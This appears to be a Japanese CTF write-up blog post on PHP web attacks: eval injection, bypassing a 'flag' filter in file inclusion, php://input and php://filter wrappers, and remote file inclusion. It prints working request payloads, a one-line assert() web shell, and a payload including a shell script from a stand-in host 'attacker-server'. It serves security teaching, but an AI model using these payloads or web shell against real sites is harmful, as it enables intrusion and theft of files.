Webセキュリティ実践:CTFにおけるPHPコード注入とファイルインクルージョン攻撃手法

コード実行脆弱性の悪用

PHPのeval関数は文字列をコードとして実行する危険性の高い機能です。CTFのWeb問題では、この関数の不適切な使用が攻撃の起点となります。

<?php
if (array_key_exists('command', $_GET)) {
    eval($_GET['command']);
} else {
    highlight_file(__FILE__);
}
?>

このスクリプトでは、commandパラメータの入力検証が一切行われていません。攻撃者は任意のPHPコードを実行可能です。

まず、サーバ内のファイル一覧を確認します:

GET /?command=passthru("ls -la");

目的のファイルが見つからない場合、システム全体を検索します:

GET /?command=echo shell_exec("find / -type f -name '*flag*' 2>/dev/null");

フラグファイルの場所が特定できたら、内容を読み取ります:

GET /?command=readfile("/flag_8822");

ファイルインクルージョンのフィルタリング回避

次のコードは、ファイル名に「flag」文字列が含まれているかをチェックしています:

<?php
error_reporting(0);
if (isset($_GET['path'])) {
    if (!strpos($_GET['path'], "flag")) {
        include $_GET['path'];
    } else {
        http_response_code(403);
        exit("Access Denied");
    }
} else {
    highlight_file(__FILE__);
}
?>

この制限を回避するために、外部のシェルスクリプトをインクルードします。まず、以下の内容を持つテキストファイルを用意します:

<?php assert($_REQUEST['shellcode']); ?>

このファイルをサーバにアップロードした後、以下のようにしてコマンドを実行します:

GET /?path=shell.txt
POST: shellcode=system("ls /")

フラグファイルを特定したら、最終的なペイロードは以下の通りです:

GET /?path=shell.txt
POST: shellcode=highlight_file("/flag")

php://inputラッパーを用いたコード注入

php://inputストリームは生のPOSTデータにアクセス可能にします。次のコードはphp://スキームのみを許可しています:

<?php
if (isset($_GET['resource'])) {
    if (substr($_GET['resource'], 0, 6) === "php://") {
        include($_GET['resource']);
    } else {
        die("Invalid protocol");
    }
} else {
    show_source(__FILE__);
}
?>

この条件下では、php://inputを利用して任意のコードを注入できます。まず、ディレクトリの探索を行います:

GET /?resource=php://input
POST: <?php var_dump(scandir("/")); ?>

フラグファイルのパスが判明したら、内容を取得します:

GET /?resource=php://input
POST: <?php print_r(file_get_contents("/flag_27046")); ?>

フィルターワラッパーによるソースコード読み取り

PHPのfilterラッパーを使用すると、ファイル内容をエンコードして読み取ることが可能です。これはアクセス制限されたファイルの内容を取得するのに有効です。

<?php
if (isset($_GET['view'])) {
    if (substr($_GET['view'], 0, 6) === "php://") {
        include($_GET['view']);
    } else {
        header("Location: /");
    }
} else {
    highlight_file(__FILE__);
}
?>

convert.base64-encodeフィルタを使用すると、ファイルをBase64エンコードして取得できます:

GET /?view=php://filter/read=convert.base64-encode/resource=/flag

取得したBase64文字列をデコードすることでフラグが得られます。別の方法として、readパラメータを省略した直接アクセスも可能です:

GET /?view=php://filter/resource=/flag

リモートファイルインクルージョンの応用

リモートファイルインクルージョンが有効な場合、攻撃者は外部サーバ上の悪意あるスクリプトを読み込ませることができます。基本的な攻撃手順は以下の通りです:

  • phpinfo()などで設定情報を収集
  • allow_url_includeがOnであることを確認
  • リモートサーバにシェルスクリプトを配置
  • include関数で該当URLを指定

最終的なペイロード例:

GET /?resource=http://attacker-server/shell.txt

タグ: PHP コードインジェクション ファイルインクルージョン php://input フィルターワラッパー

6月12日 22:59 投稿